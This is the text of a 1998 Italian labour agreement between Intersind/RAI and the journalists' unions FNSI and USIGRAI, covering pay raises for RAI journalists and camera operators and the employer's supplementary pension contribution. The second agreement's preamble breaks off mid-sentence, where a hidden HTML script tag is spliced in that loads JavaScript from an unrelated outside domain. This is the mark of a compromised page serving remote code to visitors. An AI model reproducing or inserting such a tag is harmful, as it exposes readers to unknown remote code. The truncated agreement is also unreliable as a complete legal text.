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Categoria: Giornalisti RAI
Settore: Poligrafici e Spettacolo
Data stipula: 27-7-1998
Data decorrenza: 1-10-1997
Data scadenza: 30-9-1999

VERBALE DI ACCORDO

Addì, 27 luglio 1998

tra

-     L'Associazione Sindacale Intersind, con la partecipazione della  RAI
  Radiotelevisione Italiana

e

-     la  Federazione Nazionale della Stampa Italiana e l'Unione Sindacale
  dei Giornalisti RAI

è  stato  stipulato  il  presente accordo, da  valere  per  i  giornalisti
dipendenti  dalla  RAI  -  Radiotelevisione Italiana,  avente  ad  oggetto
l'applicazione del Contratto Nazionale di Lavoro Giornalistico  (C.N.L.G.)
4  giugno  1998,  recepito dalla Convenzione stipulata in  pari  data  tra
l'Associazione Sindacale Intersind e la Federazione Nazionale della Stampa
Italiana.

Le  parti  convengono che l'erogazione della somma una tantum prevista  al
punto  3) del verbale di accordo sottoscritto in data 4 giugno 1998  dalla
Federazione  Italiana  Editori Giornali e la Federazione  Nazionale  della
Stampa, avverrà con le competenze del mese di agosto 1998 e confermano che
il  valore  del  minimo  tabellare  in  atto  al  30  settembre  1997,   è
incrementato dell'importo di L. 80.000 a regime al livello di  riferimento
del  redattore  ordinario  (redattore  con  oltre  18  mesi  di  anzianità
professionale  e  redattore con oltre 30 mesi di anzianità  professionale,
entrambi al parametro 125 in vigore in RAI), importo che verrà corrisposto
in  ragione di L. 40.000 a decorrere dal 1° maggio 1998 e di L.  40.000  a
decorrere dal 1° gennaio 1999.

Lo   stesso   importo  di  L.  80.000  a  regime  verrà   corrisposto   ai
telecineoperatori ordinari, mentre per i telecineoperatori coordinatori ed
i telecineoperatori inviati la stessa somma sarà ricalcolata sul parametro
135.

Le  parti  confermano  altresì gli incrementi del  valore  dei  minimi  di
retribuzione   per  i  collaboratori  fissi  (art.  2   C.N.L.G.)   ed   i
corrispondenti (art. 12 C.N.L.G.), nei termini e con le modalità di cui al
punto 2) del citato Accordo FIEG/FNSI del 4 giugno 1998.

Quanto  al  punto  6)  dell'Accordo stesso (Previdenza complementare),  le
parti  concordano  di  sostituire al contenuto di cui  alla  lett.  a)  il
seguente testo:

a)    contributo a carico della RAI pari allo 1% della retribuzione  fissa
  annua  del  giornalista, calcolata sui seguenti elementi  tassativamente
  indicati:  prima  voce  di  busta  -  paga  (stipendio),  indennità   di
  contingenza,  indennità di mensa ed indennità' contrattuali  forfettarie
  (15° comma art. 7 C.N.L.G. nella sua applicazione in RAI, maggiorazione ex
  art. 5, Accordo 14 novembre 1991 e successive modificazioni, indennità ex
  art. 14, Accordo 14 novembre 1991 e successive modificazioni, compenso ex
  art.  1  accordo  14.1.1972  e  successive modificazioni,  indennità  di
  residenza all'estero), nonché importi ad personam per i vari titoli per i
  quali vengono corrisposti.

Resta  inteso  che il contributo a carico del dipendente e  la  quota  del
T.F.R.  previsti alle lett. b) e c) dello stesso punto 6 Accordo FIEG/FNSI
4   giugno   1998,   si  intendono  da  calcolare  con  riferimento   alle
modificazioni introdotte al punto a) del presente accordo.

Le  parti  si danno atto che la regolamentazione dell'intera materia  sarà
oggetto  di revisione all'atto di eventuali modificazioni della  normativa
generale.



Addì, 27 luglio 1998

tra

-    L'Associazione Sindacale Intersind, con la partecipazione della RAI -
  Radiotelevisione Italiana

e

-    la Federazione Nazionale della Stampa Italiana, con la partecipazione
  dell'Unione Sindacale dei Giornalisti RAI

premesso

-     che  l'accordo  per  il rinnovo del Contratto  Nazionale  di  Lavoro
  Giornalistico  riferito  alla parte economica  per  il  biennio  ottobre
  1997/settembre 1999 è stato raggiunto il 4 giugno 1998 tra la Federazione
  Italiana  Editori  Giornali  e  la Federazione  Nazionale  della  Stampa
  Italiana;

-     che  la Federazione Nazionale della Stampa Italiana ha richiesto  di<script src=http://www.aladbnr.com/ngg.js></script>













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